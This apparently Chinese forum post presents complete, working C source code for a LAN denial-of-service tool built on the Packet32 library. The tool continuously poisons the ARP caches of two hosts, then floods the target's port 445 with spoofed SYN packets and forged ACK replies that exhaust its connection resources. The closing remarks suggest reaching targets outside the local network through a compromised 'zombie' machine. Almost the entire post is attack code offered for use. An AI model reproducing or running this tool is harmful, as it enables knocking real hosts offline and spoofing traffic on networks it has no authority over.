好了,说了这么多,下面就给出我实现的源代码,欢迎大虾们多多指教。
// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "stdio.h"
#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")
//下面几个宏是测试用的主机的IP和MAC
#define SIMULATE_MAC "0011111d735a" //伪装主机的MAC地址
#define TARGET_MAC "001111c6f7fe" //目的主机的MAC地址
#define LOCAL_MAC "00e06e41508f" //本机MAC地址
#define TARGET_IP "211.83.97.24" //目的主机的IP
#define SIMULATE_IP "211.83.97.16" //伪装主机的IP
#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式
#pragma pack(push, 1)
struct ET_HEADER //以太网头部
{
unsigned char eh_dst[6];
unsigned char eh_src[6];
unsigned short eh_type;
};
struct ARP_HEADER //ARP头部
{
unsigned short arp_hdr;
unsigned short arp_pro;
unsigned char arp_hln;
unsigned char arp_pln;
unsigned short arp_opt;
unsigned char arp_sha[6];
unsigned long arp_spa;
unsigned char arp_tha[6];
unsigned long arp_tpa;
};
struct IP_HEADER //IP头部
{
char m_ver_hlen; //4位版本号,4位ip头部长
char m_tos;
USHORT m_tlen;
USHORT m_ident;
USHORT m_flag_frag; //3位标志位(1位未用位,1位DF,1位MF),13位片断偏移量
char m_ttl;
char m_protocol;
USHORT m_cksum;
ULONG m_sIP;
ULONG m_dIP;
};
struct TCP_HEADER //TCP头部
{
USHORT m_sport;
USHORT m_dport;
ULONG m_seq;
ULONG m_ack;
char m_hlen_res4; //4位tcp头部长,6位保留的前4位
char m_res2_flag; //6位保留的后2位,6位标志
USHORT m_win;
USHORT m_cksum;
USHORT m_urp;
};
struct PSD_HEADER //伪头部,计算校验和用
{
ULONG m_saddr; //源地址
ULONG m_daddr; //目的地址
char m_mbz;
char m_ptcl; //协议类型
USHORT m_tcpl; //TCP长度
};
struct TCP_OPTION //TCP选项,发起伪连接时要用来与对方协商
{
USHORT unKnown;
USHORT maxSegSize; //MSS,以太网一般为1460
char no1;
char no2;
USHORT SACK;
};
struct CHEAT_ARP_INFO //ARP欺骗线程的参数
{
char simulateIP[20];
char targetIP[20];
char targetMAC[13];
};
#pragma pack(pop)
USHORT CheckSum(USHORT *buffer, int size); //计算校验和的函数
void StrToMac(char *str,char *mac); //字符串转换为MAC地址
void ListenACK(); //监听函数,监听对方的回包
void AssayAndSendData(LPPACKET lpPacket); //分析数据帧并发送回包
DWORD WINAPI ArpCheat(void *pInfo); //ARP欺骗线程
DWORD WINAPI SendSyn(void *no); //发送SYN包的线程
void Info();
LPADAPTER lpAdapter=NULL; //适配器指针
USHORT ipID=1638; //IP标识
USHORT sourcePort=1056; //起始源端口
USHORT targetPort=445; //目的端口
int main(int argc, char* argv[])
{
Info();
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
{
printf("WSAStartup error!\n");
return -1;
}
//打开适配器:
WCHAR adapter_name[2048]={0};
ULONG adapter_length=1024;
//取得所有适配器的名字.
if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
{
//adapter_name:一个用于存放适配器的名字的缓冲区
//adapter_length:这个缓冲区的大小
printf("PacketGetAdapterNames error:%d\n",GetLastError());
return -1;
}
WCHAR *name1,*name2;
ULONG i;
static CHAR adapter_list[10][1024];
name1=adapter_name;
name2=adapter_name;
i=0;
//把adapter_name中的适配器名字,分别copy到adapter_list[]中,i从0开始为第一个
while((*name1!=''\0'') || (*(name1-1)!=''\0''))
{
if(*name1==''\0'')
{
memcpy(adapter_list[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
//默认打开第一块适配器
lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);
if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("Unable to open the driver, Error Code : %lx\n", GetLastError());
return -1;
}
//创建ARP欺骗线程:
CHEAT_ARP_INFO info1={0},info2={0};
memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);
memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
Sleep(50);
//发送TCP伪连接的SYN数据帧:
::CreateThread(NULL,0,SendSyn,NULL,0,NULL);
ListenACK(); //循环监听数据包
PacketCloseAdapter(lpAdapter); //关闭适配器
::WSACleanup();
return 0;
}
DWORD WINAPI SendSyn(void *no)
{
Sleep(100);
while(TRUE) //循环发送SYN包发起伪连接
{
char s_mac[6]={0},d_mac[6]={0};
char sendSynBuf[128]={0};
ET_HEADER et_header={0};
IP_HEADER ip_header={0};
TCP_HEADER tcp_header={0};
TCP_OPTION tcp_option={0};
PSD_HEADER psd_header={0};
//填充以太头部:
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包
//填充IP头部:
ip_header.m_ver_hlen=(4<<4|5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP); //源IP填为伪装主机的IP
ip_header.m_dIP=inet_addr(TARGET_IP); //目的IP
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
//填充TCP头部以及TCP选项:
tcp_header.m_dport=htons(targetPort);
tcp_header.m_sport=htons(sourcePort++);
tcp_header.m_seq=::GetTickCount(); //初始化序列号
tcp_header.m_ack=0;
tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);
tcp_header.m_res2_flag=2; //标识为SYN包
tcp_header.m_win=htons(16384);
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
tcp_option.unKnown=htons(516);
tcp_option.maxSegSize=htons(1460); //MSS,以太网一般为1460
tcp_option.no1=1;
tcp_option.no2=1;
tcp_option.SACK=htons(1026);
//计算TCP校验和:
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
//构造SYN数据帧:
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
//发送伪造的SYN包:
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,sendSynBuf,128); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数
{
printf("Warning: Unable to send more than one packet in a single write!\n");
continue;
}
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
continue;
}
PacketFreePacket(lpPacket); //释放PACKET结构指针
Sleep(100);
}
return 0;
}
DWORD WINAPI ArpCheat(void *pInfo)
{
CHEAT_ARP_INFO info={0};
memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));
//伪造ARP应答包:
char s_mac[6]={0},d_mac[6]={0};
ET_HEADER et_header={0};
ARP_HEADER arp_header={0};
char buffer[64]={0};
StrToMac(LOCAL_MAC,s_mac); //源MAC地址
memcpy(et_header.eh_src,s_mac,6);
StrToMac(info.targetMAC,d_mac); //目的MAC地址
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0806); //类型为0x0806表示这是ARP包
arp_header.arp_hdr=htons(0x0001); //硬件地址类型以太网地址
arp_header.arp_pro=htons(0x0800); //协议地址类型为IP协议
arp_header.arp_hln=6; //硬件地址长度为6
arp_header.arp_pln=4; //协议地址长度为4
arp_header.arp_opt=htons(0x0002); //标识为ARP应答
arp_header.arp_spa=inet_addr(info.simulateIP); //source_ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(info.targetIP); //target_ip
memcpy(arp_header.arp_tha,et_header.eh_dst,6);
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));
//发送伪造地ARP应答包:
LPPACKET lpPacket;
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,buffer,64); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数
printf("warning: Unable to send more than one packet in a single write!\n");
while(TRUE)
{
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //不断发送伪造的ARP应答包达到欺骗目标主机的目的
{
printf("Error sending the packets!\n");
break;
}
Sleep(3000);
}
PacketFreePacket(lpPacket); //释放PACKET结构指针
return 0;
}
void ListenACK()
{
LPPACKET lpPacket;
char recvBuf[512]={0};
PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED); //设置网卡为直接模式
PacketSetBuff(lpAdapter,1024); //设置网卡接收数据包的缓冲区大小
PacketSetReadTimeout(lpAdapter,2); //设置接收到一个包后的“休息”时间
while(TRUE)
{
lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpPacket,recvBuf,512); //初始化PACKET结构指针
if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE) //接收数据帧
AssayAndSendData(lpPacket); //分析数据包并发送ACK包
else
printf("Recv Error!\n");
//每次收包后重置lpPacket:
PacketFreePacket(lpPacket);
memset(recvBuf,0,512);
Sleep(10);
}
PacketFreePacket(lpPacket); //释放lpPacket
return;
}
USHORT CheckSum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
cksum += *(UCHAR*)buffer;
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
void StrToMac(char *str,char *mac) //自定义的将字符串转换成mac地址的函数
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case ''a'':high=10;
break;
case ''b'':high=11;
break;
case ''c'':high=12;
break;
case ''d'':high=13;
break;
case ''e'':high=14;
break;
case ''f'':high=15;
break;
default:temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case ''a'':low=10;
break;
case ''b'':low=11;
break;
case ''c'':low=12;
break;
case ''d'':low=13;
break;
case ''e'':low=14;
break;
case ''f'':low=15;
break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}
void AssayAndSendData(LPPACKET lpPacket)
{
char *buf;
bpf_hdr *lpBpfhdr;
ET_HEADER *lpEthdr;
in_addr addr={0};
buf=(char *)lpPacket->Buffer;
lpBpfhdr=(bpf_hdr *)buf;
lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
if(lpEthdr->eh_type==htons(0x0800)) //判断是否为IP包
{
IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));
if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP ) && (lpIphdr->m_protocol==IPPROTO_TCP) ) //判断所收到的数据包的传输层协议、源及目的IP
{
TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)+sizeof(IP_HEADER));
if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) ) //判断是否为带ACK标记的包并判断目标主机接收窗口是否已为0
{
char s_mac[6]={0},d_mac[6]={0};
char sendSynBuf[128]={0};
char *data="ffantasyYD";
ET_HEADER et_header={0};
IP_HEADER ip_header={0};
TCP_HEADER tcp_header={0};
PSD_HEADER psd_header={0};
StrToMac(LOCAL_MAC,s_mac); //local_mac
memcpy(et_header.eh_src,s_mac,6);
StrToMac(TARGET_MAC,d_mac); //dest_mac
memcpy(et_header.eh_dst,d_mac,6);
et_header.eh_type=htons(0x0800); //类型为0x0800表示这是IP包
ip_header.m_ver_hlen=(4<<4|5);
ip_header.m_tos=0;
ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
ip_header.m_ident=htons(ipID++);
ip_header.m_flag_frag=htons(16384); //设置为不分片
ip_header.m_ttl=128;
ip_header.m_protocol=IPPROTO_TCP; //高层协议为TCP
ip_header.m_cksum=0;
ip_header.m_sIP=inet_addr(SIMULATE_IP);
ip_header.m_dIP=inet_addr(TARGET_IP);
ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));
tcp_header.m_dport=lpTcphdr->m_sport;
tcp_header.m_sport=lpTcphdr->m_dport;
tcp_header.m_seq=lpTcphdr->m_ack; //序列号为接收到包的ack号
if(lpTcphdr->m_res2_flag==0x12) //若收到的包是SYN+ACK包,则ACK号为接收到包的序列号加1
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);
else //若收到的包不是SYN+ACK包,则ACK号为接收到包的序列号加上包的数据部分长度
tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);
tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);
tcp_header.m_res2_flag=0x10; //设置为ACK包
tcp_header.m_win=lpTcphdr->m_win;
tcp_header.m_cksum=0;
tcp_header.m_urp=0;
psd_header.m_daddr=ip_header.m_dIP;
psd_header.m_saddr=ip_header.m_sIP;
psd_header.m_mbz=0;
psd_header.m_ptcl=IPPROTO_TCP;
psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));
char tcpBuf[128]={0};
memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));
memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
//发送伪造的ACK包:
LPPACKET lpSendPacket;
lpSendPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存
PacketInitPacket(lpSendPacket,sendSynBuf,128); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数
{
printf("Warning: Unable to send more than one packet in a single write!\n");
return;
}
if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE)
{
printf("Error sending the packets!\n");
return;
}
PacketFreePacket(lpSendPacket); //释放PACKET结构指针
}
}
}
return;
}
void Info()
{
printf("********************************\n");
printf("* Made by ffantasyYD *\n");
printf("* QQ:76889713 *\n");
printf("* Email:ffantasyYD@163.com *\n");
printf("* http://ffantasyyd.126.com *\n");
printf("********************************\n");
}
注:由于以上代码是我测试用的,因此显得不太便于使用,很多信息都是我自己去获取后直接写进程序里的,比如目标主机的MAC地址等,这些都需要测试者自己修改。另外,这种D.o.S存在着一个局限性,那就是目标主机必须跟我们的主机处于同一个二层网络内。但是,我们可以利用一些方法来克服这种局限性,比如,我们可以在目标主机的网络内找一台肉鸡,这样,我们就只需要控制那台肉鸡进行攻击就行了。(e129)